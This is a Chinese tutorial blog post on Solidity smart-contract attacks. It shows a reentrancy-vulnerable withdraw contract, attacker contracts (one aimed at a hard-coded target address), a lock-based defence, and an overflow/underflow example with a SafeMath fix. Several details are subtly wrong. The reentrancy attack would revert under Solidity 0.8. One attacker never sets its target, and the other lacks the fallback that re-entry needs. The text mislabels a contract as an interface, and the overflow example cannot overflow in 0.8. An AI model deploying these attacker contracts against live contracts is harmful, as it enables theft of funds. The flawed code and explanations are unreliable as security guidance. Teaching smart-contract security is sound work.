来说明合约中几种攻击方法

1、重入攻击(Reentrancy At*tack)

攻击者通过在合约调用中途调用另一个合约,来反复执行攻击合约中的代码,从而导致合约状态异常。

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

// 合约1:易受重入攻击的合约
contract VulnerableContract {
    
    
    // 用户余额映射
    mapping(address => uint) public balances;

    // 用户提款函数
    function withdraw(uint _amount) public {
    
    
        // 检查用户余额
        require(balances[msg.sender] >= _amount, "Insufficient balance");

        // 执行提款操作
        (bool success, ) = msg.sender.call{
    
    value: _amount}("");
        require(success, "Transfer failed");

        // 更新用户余额
        balances[msg.sender] -= _amount;
    }
}

// 合约2:攻击者合约
contract Attacker {
    
    
    // 易受攻击的合约实例
    VulnerableContract public vulnerableContract;

    // 攻击函数
    function attack() public payable {
    
    
        // 调用易受攻击的合约提款函数
        vulnerableContract.withdraw(1 ether);
    }

    // 回退函数,允许攻击者再次调用易受攻击的合约
    receive() external payable {
    
    
        if (address(vulnerableContract).balance >= 1 ether) {
    
    
            vulnerableContract.withdraw(1 ether);
        }
    }
}

如果知道对方合约地址可以根据下面方法来操作

// 合约接口,包含对方合约的方法签名
interface IVulnerableContract {
    
    
    function withdraw(uint _amount) external;
}

// 攻击者合约
contract Attacker {
    
    
    // 对方合约的地址
    address public vulnerableContractAddress = 0x1234567890123456789012345678901234567890;

    // 对方合约的接口
    IVulnerableContract public vulnerableContract;

    // 构造函数,设置对方合约的接口
    constructor() {
    
    
        vulnerableContract = IVulnerableContract(vulnerableContractAddress);
    }

    // 攻击函数
    function attack() public payable {
    
    
        // 调用对方合约的提款函数
        vulnerableContract.withdraw(1 ether);
    }
}

上述合约中VulnerableContract 是一个接口,包含了对方合约的withdraw方法的签名。在构造函数中,攻击者合约创建了一个对方合约的接口实例,并将对方合约的地址传递给了这个实例。然后,攻击者合约就可以使用这个接口来调用对方合约的方法。

请注意,这种方法仍然需要确保你了解对方合约方法的签名,以便正确创建接口。此外,这样的调用依赖于对方合约的方法是否对外部调用开放,否则将无法调用。在实际情况中,确保你的操作合法并符合对方合约的预期使用是至关重要的。

防范方法:使用模式“检查-生效-互操作”(Check-Effect-Interact)。


// 合约3:使用“检查-生效-互操作”模式的安全合约
contract SecureContract {
    
    
    // 用户余额映射
    mapping(address => uint) public balances;
    // 用户提款锁定状态映射
    mapping(address => bool) public locked;

    // 安全的用户提款函数
    function withdraw(uint _amount) public {
    
    
        // 检查提款是否被锁定
        require(!locked[msg.sender], "Withdrawal is locked");

        // 检查用户余额
        require(balances[msg.sender] >= _amount, "Insufficient balance");

        // 锁定提款
        locked[msg.sender] = true;

        // 更新用户余额
        balances[msg.sender] -= _amount;

        // 执行提款操作
        (bool success, ) = msg.sender.call{
    
    value: _amount}("");
        require(success, "Transfer failed");

        // 解锁提款
        locked[msg.sender] = false;
    }
}

2、溢出和下溢出(Overflow and Underflow)

溢出和下溢出可能导致计算错误,给攻击者提供了执行未预期操作的机会。

pragma solidity ^0.8.0;

contract VulnerableMath {
    
    
    uint public maxUint = type(uint).max;

    function add(uint _a, uint _b) public pure returns (uint) {
    
    
        return _a + _b;
    }

    function subtract(uint _a, uint _b) public pure returns (uint) {
    
    
        return _a - _b;
    }
}

防范方法:使用 SafeMath 库可以确保在进行加法和减法运算时不会发生溢出和下溢出。

import "@openzeppelin/contracts/utils/math/SafeMath.sol";

contract SafeMathExample {
    
    
    using SafeMath for uint;

    uint public maxUint = type(uint).max;

    function safeAdd(uint _a, uint _b) public pure returns (uint) {
    
    
        return _a.add(_b);
    }

    function safeSubtract(uint _a, uint _b) public pure returns (uint) {
    
    
        return _a.sub(_b);
    }
}

猜你喜欢

转载自blog.csdn.net/weixin_45047825/article/details/134437983